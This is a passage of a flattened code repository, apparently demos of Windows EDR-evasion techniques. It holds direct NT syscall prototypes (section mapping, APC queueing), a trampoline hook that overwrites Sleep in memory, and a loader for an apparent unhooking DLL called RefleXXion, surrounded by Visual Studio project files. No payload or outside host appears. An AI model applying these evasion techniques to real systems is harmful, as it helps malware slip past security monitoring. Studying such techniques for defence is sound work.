POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL); EXTERN_C NTSTATUS NtOpenSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtMapViewOfSection( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN ULONG ZeroBits, IN SIZE_T CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect); EXTERN_C NTSTATUS NtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress); EXTERN_C NTSTATUS NtAdjustPrivilegesToken( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, IN PTOKEN_PRIVILEGES NewState OPTIONAL, IN ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength); EXTERN_C NTSTATUS NtQueueApcThread( IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine, IN PVOID ApcArgument1 OPTIONAL, IN PVOID ApcArgument2 OPTIONAL, IN PVOID ApcArgument3 OPTIONAL); EXTERN_C NTSTATUS NtWaitForMultipleObjects( IN ULONG Count, IN PHANDLE Handles, IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL); #endif ================================================ FILE: demo5/syscall3/syscall3/syscall3.cpp ================================================ #include #include "1.h" int main() { NtTestAlert(); //std::cout << "Hello World!\n"; } ================================================ FILE: demo5/syscall3/syscall3/syscall3.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {7504426e-c438-432a-8e89-ae02608b2055} syscall3 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Document true true 3 true true true ================================================ FILE: demo5/syscall3/syscall3/syscall3.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 源文件 源文件 头文件 源文件 ================================================ FILE: demo5/syscall3/syscall3/syscall3.vcxproj.user ================================================  ================================================ FILE: demo5/syscall3/syscall3.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.2.32519.379 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "syscall3", "syscall3\syscall3.vcxproj", "{7504426E-C438-432A-8E89-AE02608B2055}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {7504426E-C438-432A-8E89-AE02608B2055}.Debug|x64.ActiveCfg = Debug|x64 {7504426E-C438-432A-8E89-AE02608B2055}.Debug|x64.Build.0 = Debug|x64 {7504426E-C438-432A-8E89-AE02608B2055}.Debug|x86.ActiveCfg = Debug|Win32 {7504426E-C438-432A-8E89-AE02608B2055}.Debug|x86.Build.0 = Debug|Win32 {7504426E-C438-432A-8E89-AE02608B2055}.Release|x64.ActiveCfg = Release|x64 {7504426E-C438-432A-8E89-AE02608B2055}.Release|x64.Build.0 = Release|x64 {7504426E-C438-432A-8E89-AE02608B2055}.Release|x86.ActiveCfg = Release|Win32 {7504426E-C438-432A-8E89-AE02608B2055}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {82B009C0-3F9F-4740-A7B3-B4F1FA9BB428} EndGlobalSection EndGlobal ================================================ FILE: demo6/unhook_demo/Header.h ================================================ #pragma once #include #include #include #include #include typedef void (WINAPI* typeSleep)( DWORD dwMilis ); typedef DWORD(NTAPI* typeNtFlushInstructionCache)( HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush ); typedef std::unique_ptr::type, decltype(&::CloseHandle)> HandlePtr; struct HookedSleep { typeSleep origSleep; BYTE sleepStub[16]; }; struct HookTrampolineBuffers { // (Input) Buffer containing bytes that should be restored while unhooking. BYTE* originalBytes; DWORD originalBytesSize; // (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. BYTE* previousBytes; DWORD previousBytesSize; }; void WINAPI MySleep(DWORD _dwMilliseconds); ================================================ FILE: demo6/unhook_demo/unhook_demo.cpp ================================================ // unhook_demo.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include "Header.h" using namespace std; HookedSleep g_hookedSleep; void WINAPI MySleep(DWORD dwMilliseconds) { // // Locate this stack frame's return address. // //MessageBoxA(0,"whoami",NULL, NULL); cout << "hooked sleep executed" << endl; } bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/) { #ifdef _WIN64 uint8_t trampoline[] = { 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr 0x41, 0xFF, 0xE2 // jmp r10 }; uint64_t addr = (uint64_t)(jumpAddress); memcpy(&trampoline[2], &addr, sizeof(addr)); #else uint8_t trampoline[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr 0xFF, 0xE0 // jmp eax }; uint32_t addr = (uint32_t)(jumpAddress); memcpy(&trampoline[1], &addr, sizeof(addr)); #endif DWORD dwSize = sizeof(trampoline); DWORD oldProt = 0; bool output = false; if (installHook) { if (buffers != NULL) { if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0) return false; memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize); } if (::VirtualProtect( addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt )) { memcpy(addressToHook, trampoline, dwSize); output = true; } } else { if (buffers == NULL) return false; if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0) return false; dwSize = buffers->originalBytesSize; if (::VirtualProtect( addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt )) { memcpy(addressToHook, buffers->originalBytes, dwSize); output = true; } } static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL; if (!pNtFlushInstructionCache) pNtFlushInstructionCache = (typeNtFlushInstructionCache) GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache"); // // We're flushing instructions cache just in case our hook didn't kick in immediately. // if (pNtFlushInstructionCache) pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize); ::VirtualProtect( addressToHook, dwSize, oldProt, &oldProt ); return output; } bool hookSleep() { HookTrampolineBuffers buffers = { 0 }; buffers.previousBytes = g_hookedSleep.sleepStub; buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub); g_hookedSleep.origSleep = reinterpret_cast(Sleep); if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)& MySleep, &buffers)) return false; return true; } int main() { hookSleep(); Sleep(5000); #define FROM_DISK == 1 HMODULE hwhand = LoadLibraryA("RefleXXion-DLL.dll"); Sleep(5000); } // Run program: Ctrl + F5 or Debug > Start Without Debugging menu // Debug program: F5 or Debug > Start Debugging menu // Tips for Getting Started: // 1. Use the Solution Explorer window to add/manage files // 2. Use the Team Explorer window to connect to source control // 3. Use the Output window to see build output and other messages // 4. Use the Error List window to view errors // 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project // 6. In the future, to open this project again, go to File > Open > Project and select the .sln file ================================================ FILE: demo6/unhook_demo/unhook_demo.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D} Win32Proj unhookdemo 10.0 Application true v142 Unicode Application false v142 true Unicode Application true v142 Unicode Application false v142 true Unicode true true false false Level3 Disabled true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 Disabled true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 MaxSpeed true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 MaxSpeed true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ================================================ FILE: demo6/unhook_demo/unhook_demo.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Header Files ================================================ FILE: demo6/unhook_demo/unhook_demo.vcxproj.user ================================================  ================================================ FILE: demo6/unhook_demo.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.28729.10 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unhook_demo", "unhook_demo\unhook_demo.vcxproj", "{D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Debug|x64.ActiveCfg = Debug|x64 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Debug|x64.Build.0 = Debug|x64 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Debug|x86.ActiveCfg = Debug|Win32 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Debug|x86.Build.0 = Debug|Win32 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Release|x64.ActiveCfg = Release|x64 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Release|x64.Build.0 = Release|x64 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Release|x86.ActiveCfg = Release|Win32 {D7F4E23F-325F-4C05-9FD9-5FE851B1A34D}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {81617172-DABD-4D8C-9698-CF770298517A} EndGlobalSection EndGlobal